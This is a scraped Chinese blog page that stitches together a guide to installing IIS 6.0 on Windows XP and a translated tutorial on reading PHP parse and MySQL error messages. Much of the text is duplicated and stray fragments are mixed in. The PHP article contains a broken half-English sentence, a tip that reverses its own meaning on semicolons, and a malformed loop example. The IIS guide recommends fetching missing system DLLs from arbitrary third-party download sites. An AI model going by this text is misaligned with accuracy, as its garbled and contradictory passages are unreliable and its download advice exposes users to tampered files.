如果提示缺少文件exch_adsiisex.dll,那就在安装IIS的时候先点击“详细信息”，然后取消对SMTP的选择（即，不要安装SMTP服务器），那么复制文件的时候就不会需要那两个文件了。
如果还提示说缺少某某文件，那就去网上下那个文件，缺什么下什么，直接把那个缺少文件的名字贴到baidu.com或google.cn，搜索下就会出来一打那个文件的下载页面。（推荐http://www.zhaodll.com/）
1.因为系统盘没有自带iis6.0,所以得下一个完整的iis6.0安装包（一定要完整的不要缺少文件的，不然后面很麻烦），并解压。注：iis6安装包完整文件自己到百度，google找找吧，说实话我也没找到很完整的安装包，所以装到最后不是缺这文件就缺那个文件。这里BS下那些提供下的网站，给的都是残次品。（推荐下载点http://down.cnzui.com/downinfo/39.html）
2、在c:\Windows\inf目录（c为Windows XP的盘符）下打开安装信息文件sysoc.inf，
在[Components]区域中自己添加iis=iis.dll,OcEntry,iis.inf,7这一行。 保存退出。
3、在iis6.0安装包中找到iis.dl_和iis.if_两个文件，一起拷贝到硬盘某个目录（如C:\）。打开开始菜单中的“命令提示符”，使用Expand命令解开iis.dl_和iis.if_，命令格式为：
expand C:\iis.dl_ C:\iis2.dll
expand C:\iis.in_ C:\iis2.inf
完成后，C盘目录下会生成iis2.dll和iis2.inf两个新文件。
4、最后，分别将iis2.inf和iis2.dll两个文件相应拷入c:\Windows\inf和c:\Windows\system32\Setup系统目录。
至此，在“添加/删除程序”中点击“添加/删除Windows组件”，你会兴奋的发现，久违的Internet信息服务（IIS）重新出现了！接下来就是循规蹈矩安装IIS。但需要提醒一点，在安装过程中若跳出定位相关文件时，请把目录指向iis6.0安装包所在目录。如果下的IIS6.0是完整版的，恭喜你，你应该已经成功安装了。后面是没有下载到完整版的解决办法，
如果提示缺少文件exch_adsiisex.dll,那就在安装IIS的时候先点击“详细信息”，然后取消对SMTP的选择（即，不要安装SMTP服务器），那么复制文件的时候就不会需要那两个文件了。
如果还提示说缺少某某文件，那就去网上下那个文件，缺什么下什么，直接把那个缺少文件的名字贴到baidu.com或google.cn，搜索下就会出来一打那个文件的下载页面。（推荐http://www.zhaodll.com/）
Jan
23
我们编写程序时，无论怎样小心谨慎，犯错总是在所难免的。这些错误通常会迷惑PHP编译器。如果开发人员无法了解编译器报错信息的含义，那么这些错误信息不仅毫无用处，还会常常让人感到沮丧。
编译PHP脚本时，PHP编译器会尽其所能报告它遇到的第一个问题。这样就产生一个问题：只有当错误出现时，PHP才能将它识别出来（本文后面对此问题进行了详细描述）。正是由于这个缘故，编译器指出出错的那行，从表面上看来可能语法正确无误，或者可能是根本就不存在的一行！
更好地理解错误信息可以大大节省确定并改正错误内容所花费的时间。因此，在本文中，我将努力阐明多种不同类型的PHP报错信息，以及在开发过程中如何正确理解各种报错信息的含义。
本文中所讲述的内容与您所应用的PHP的版本无关，因为本文所描述的各种错误并不限定于某一特殊版本的特定错误。另外我们假定您是一位初级或者中级程序员，并已经从事编程工作有半年或一年的时间。
编译器的工作方式
要搞清楚编译器为什么会报告某一行上存在错误，首先必须明确编译器解析PHP代码的机制。我并不打算在本文中对此进行详细论述，但是，我们将会讨论一些更易于引发错误的简单概念。
变量声明
如果在一条语句中声明一个变量，具体方式如下所示：
$variable = "value";
编译器首先求出语句右半部分的值（即等号右边的所有内容）。在一些编程书籍中，将此表示为语句的 RHS （右半部分）。恰恰正是语句的这一部分常常会引发错误。如果使用的语法不正确，就会出现解析错误。
解析错误
Parse error:解析错误，unexpected T_WHILE in c:\program files\apache group\apache\htdocs\script.php on line 19
每次确定了前一错误时，解析错误一个接一个地不断出现。因为PHP在第一个解析错误之后就停止执行脚本，调试并纠正这一系列的错误往往会让人觉得特别厌烦。
而且，解析错误具有很少的信息，几乎不报告错误所在的行号。具体原因就是当出现错误时，编译器判定好几行的语法看起来应该是有效的，直至遇到无效的语法，最可能的情形就是表达式中使用了预定义的字词，例如；
while = 10; // Bad ? while 就是一个预定义字词，不能分配给一个值
预定义的字词包括 while、function等，如果PHP使用 uses to evaluate your code. 您不能使用这些预定义字词来命名变量，而且如果您非要这样做的话，PHP就会报出更多的错误，这是您无法忍受。
关于这个问题，下面的示例可能会对您有所帮助。请咨询阅读一下下面所示的PHP 代码：
$b = somevalue
if($b == somevalue){
print Hello world!;
}
?>
错误位于$b =一行（在语句的末端缺少分号），所以错误应该是解析错误:第3行缺少分号对吧？而不应该依据解析器判定的：
Parse error: parse error, unexpected T_IF in c:\program files\apache
group\apache\htdocs\ereg2.php on line 4
在第4行，if() 语句的语法是正确的。那么，编译器是被什么给搞糊涂了呢？线索就是unexpected T_IF 部分。出现 unexpected T_???错误时，它所表示的含义为：编译器发现在预定义字不应该出现的位置出现。T_IF 代表 if(), T_WHILE 代表 while(), T_FOR 代表 for()等。
值得庆幸的是，一些错误的原因也很简单：
语句没有使用分号(;)结束，比如上面的示例。字符串中缺少引号。
其他一些常见的错误
我见过的最常见的错误就是，当没有使用大括号( } )结束一个函数或者一个循环时出现的错误，这很可能是最常见，最让人烦的错误。
具体代码如下：
function UselessFunction() {
for($i ＜ 0; $i ＜ 10; $i++){
}
将产生下列错误：
Parse error: parse error, unexpected $ in c:\program files\apache
group\apache\htdocs\ereg2.php on line 9
由于函数 UselessFunction 没有使用大括号( } )来结束，PHP编译器不断查找表示结束的大括号直至到达文件末尾为止。因为编译器未找到一个匹配的大括号，就会报告文件末尾处有错误。
如果正确地反映了代码的层次结构，错误信息就会变得非常明显。如果没有标明代码的层次结构，那么最后要想查清楚到底忘记了什么也会变得几乎是不可能的。所以，请记住，一定要标明代码的层次结构。Tab键可以很容易地实现这一点。对后续的开发人员来说，把握代码框架并对其进行修改也会更容易一些。
MySQL 错误
另一极其令人讨厌的错误信息就是最常见的MySQL错误，这常常使 PHP新手感到颇为头疼： Warning: Supplied argument is not a valid MySQL result resource in...
上面所报告有错的一行可能是：
while($row = mysql_fetch_array($result)) {
参数 $result并不是一个有效的资源。在英语中它表示因为查询失败，将无法处理mysql_fetch_array。任一查询的语法无效（您应该将查询复制－粘贴到MySQL 控制台参考来进行测试），或者与数据库的连接失败(这种情况下您应该再次检查用户名和口令等）。
防止错误发生
第一步，智能代码器可采取以下几步来消除下列错误出现：
· 在每一条语句的末尾处，不必考虑添加分号——这应该成为一种习惯。
· 总是要尽可能标明代码的层次结构，这可以使您能够查看是否忘记在if 调用或函数末端等位置添加大括号。
· 请使用可突出显示语法的编辑器（如 HTML-Kit）。有了这类编辑器的辅助，您就能确定是否忘记了添加引号，是否缺少分号等。
结论
本文我们对PHP编译器可报出的一些看起来可能没有什么意义的错误有了一定的了解。我们需要将所学的知识应用到如何避免错误以及错误出现时如何纠正错误。调试是一个开发人员所有工作中的最重要的部分之一。提高调试效率可大大加快整个工作的进度，缩短完成一项工程所需花费的时间，同时还可以明显减轻代码失败所带来的精神压力。
编译PHP脚本时，PHP编译器会尽其所能报告它遇到的第一个问题。这样就产生一个问题：只有当错误出现时，PHP才能将它识别出来（本文后面对此问题进行了详细描述）。正是由于这个缘故，编译器指出出错的那行，从表面上看来可能语法正确无误，或者可能是根本就不存在的一行！
更好地理解错误信息可以大大节省确定并改正错误内容所花费的时间。因此，在本文中，我将努力阐明多种不同类型的PHP报错信息，以及在开发过程中如何正确理解各种报错信息的含义。
本文中所讲述的内容与您所应用的PHP的版本无关，因为本文所描述的各种错误并不限定于某一特殊版本的特定错误。另外我们假定您是一位初级或者中级程序员，并已经从事编程工作有半年或一年的时间。
编译器的工作方式
要搞清楚编译器为什么会报告某一行上存在错误，首先必须明确编译器解析PHP代码的机制。我并不打算在本文中对此进行详细论述，但是，我们将会讨论一些更易于引发错误的简单概念。
变量声明
如果在一条语句中声明一个变量，具体方式如下所示：
$variable = "value";
编译器首先求出语句右半部分的值（即等号右边的所有内容）。在一些编程书籍中，将此表示为语句的 RHS （右半部分）。恰恰正是语句的这一部分常常会引发错误。如果使用的语法不正确，就会出现解析错误。
解析错误
Parse error:解析错误，unexpected T_WHILE in c:\program files\apache group\apache\htdocs\script.php on line 19
每次确定了前一错误时，解析错误一个接一个地不断出现。因为PHP在第一个解析错误之后就停止执行脚本，调试并纠正这一系列的错误往往会让人觉得特别厌烦。
而且，解析错误具有很少的信息，几乎不报告错误所在的行号。具体原因就是当出现错误时，编译器判定好几行的语法看起来应该是有效的，直至遇到无效的语法，最可能的情形就是表达式中使用了预定义的字词，例如；
while = 10; // Bad ? while 就是一个预定义字词，不能分配给一个值
预定义的字词包括 while、function等，如果PHP使用 uses to evaluate your code. 您不能使用这些预定义字词来命名变量，而且如果您非要这样做的话，PHP就会报出更多的错误，这是您无法忍受。
关于这个问题，下面的示例可能会对您有所帮助。请咨询阅读一下下面所示的PHP 代码：
$b = somevalue
if($b == somevalue){
print Hello world!;
}
?>
错误位于$b =一行（在语句的末端缺少分号），所以错误应该是解析错误:第3行缺少分号对吧？而不应该依据解析器判定的：
Parse error: parse error, unexpected T_IF in c:\program files\apache
group\apache\htdocs\ereg2.php on line 4
在第4行，if() 语句的语法是正确的。那么，编译器是被什么给搞糊涂了呢？线索就是unexpected T_IF 部分。出现 unexpected T_???错误时，它所表示的含义为：编译器发现在预定义字不应该出现的位置出现。T_IF 代表 if(), T_WHILE 代表 while(), T_FOR 代表 for()等。
值得庆幸的是，一些错误的原因也很简单：
语句没有使用分号(;)结束，比如上面的示例。字符串中缺少引号。
其他一些常见的错误
我见过的最常见的错误就是，当没有使用大括号( } )结束一个函数或者一个循环时出现的错误，这很可能是最常见，最让人烦的错误。
具体代码如下：
function UselessFunction() {
for($i ＜ 0; $i ＜ 10; $i++){
}
将产生下列错误：
Parse error: parse error, unexpected $ in c:\program files\apache
group\apache\htdocs\ereg2.php on line 9
由于函数 UselessFunction 没有使用大括号( } )来结束，PHP编译器不断查找表示结束的大括号直至到达文件末尾为止。因为编译器未找到一个匹配的大括号，就会报告文件末尾处有错误。
如果正确地反映了代码的层次结构，错误信息就会变得非常明显。如果没有标明代码的层次结构，那么最后要想查清楚到底忘记了什么也会变得几乎是不可能的。所以，请记住，一定要标明代码的层次结构。Tab键可以很容易地实现这一点。对后续的开发人员来说，把握代码框架并对其进行修改也会更容易一些。
MySQL 错误
另一极其令人讨厌的错误信息就是最常见的MySQL错误，这常常使 PHP新手感到颇为头疼： Warning: Supplied argument is not a valid MySQL result resource in...
上面所报告有错的一行可能是：
while($row = mysql_fetch_array($result)) {
参数 $result并不是一个有效的资源。在英语中它表示因为查询失败，将无法处理mysql_fetch_array。任一查询的语法无效（您应该将查询复制－粘贴到MySQL 控制台参考来进行测试），或者与数据库的连接失败(这种情况下您应该再次检查用户名和口令等）。
防止错误发生
第一步，智能代码器可采取以下几步来消除下列错误出现：
· 在每一条语句的末尾处，不必考虑添加分号——这应该成为一种习惯。
· 总是要尽可能标明代码的层次结构，这可以使您能够查看是否忘记在if 调用或函数末端等位置添加大括号。
· 请使用可突出显示语法的编辑器（如 HTML-Kit）。有了这类编辑器的辅助，您就能确定是否忘记了添加引号，是否缺少分号等。
结论
本文我们对PHP编译器可报出的一些看起来可能没有什么意义的错误有了一定的了解。我们需要将所学的知识应用到如何避免错误以及错误出现时如何纠正错误。调试是一个开发人员所有工作中的最重要的部分之一。提高调试效率可大大加快整个工作的进度，缩短完成一项工程所需花费的时间，同时还可以明显减轻代码失败所带来的精神压力。
Flash Player文件
